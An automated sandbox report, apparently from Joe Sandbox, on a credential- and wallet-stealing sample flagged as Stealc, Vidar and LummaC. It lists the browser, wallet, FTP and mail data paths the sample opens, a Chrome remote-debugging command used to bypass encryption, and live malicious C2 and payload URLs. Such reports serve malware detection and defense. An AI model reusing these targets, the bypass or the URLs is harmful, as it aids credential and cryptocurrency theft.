Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2001894530.00000000004BC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2753465819.0000000000D77000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eDPQZkT.exe PID: 8712, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: eDPQZkT.exe PID: 8712, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1499547754.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2001894530.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2005702282.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2700, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2700, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30C40 sqlite3_bind_zeroblob,	0_2_6CC30C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30D60 sqlite3_bind_parameter_name,	0_2_6CC30D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58EA0 sqlite3_clear_bindings,	0_2_6CB58EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CC30B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB56410 bind,WSAGetLastError,	0_2_6CB56410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	247 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\eDPQZkT[1].exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe	47%	ReversingLabs	Win32.Trojan.Symmi

Source	Detection	Scanner	Label
https://frogs-severz.sbs/0	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dll8	100%	Avira URL Cloud	malware
http://31.41.244.11/files/randoV	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe5062384760ac02b4ded8abeee1fb9a28c01515e801b41b110350bcecd522b999	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll$	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe)C:	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe09009001	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1724962075/eDPQZkT.exeA)	0%	Avira URL Cloud	safe
https://frogs-severz.sbs//	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe5e801b41b110350bcecd522b9999a5536e6#E	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllz	100%	Avira URL Cloud	malware
http://31.41.244.11/files/1724962075/eDPQZkT.exe%)	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe50Dat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mira-tmc.tm-4.office.com	52.123.243.184	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
frogs-severz.sbs	104.21.88.250	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
b-0005.b-dc-msedge.net	13.107.9.158	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
property-imper.sbs	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b2?rn=1732532933075&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A576580DC7A6D0124D170C2DDEE6CAA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://c.msn.com/c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532939876&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532939939&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532933073&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	false		high
http://www.broofa.com	chromecache_476.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll$	file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log10.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://www.last.fm/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://31.41.244.11/files/randoV	skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.10.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll8	file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://docs.google.com/	manifest.json0.9.dr	false		high
https://www.youtube.com	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://www.instagram.com	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
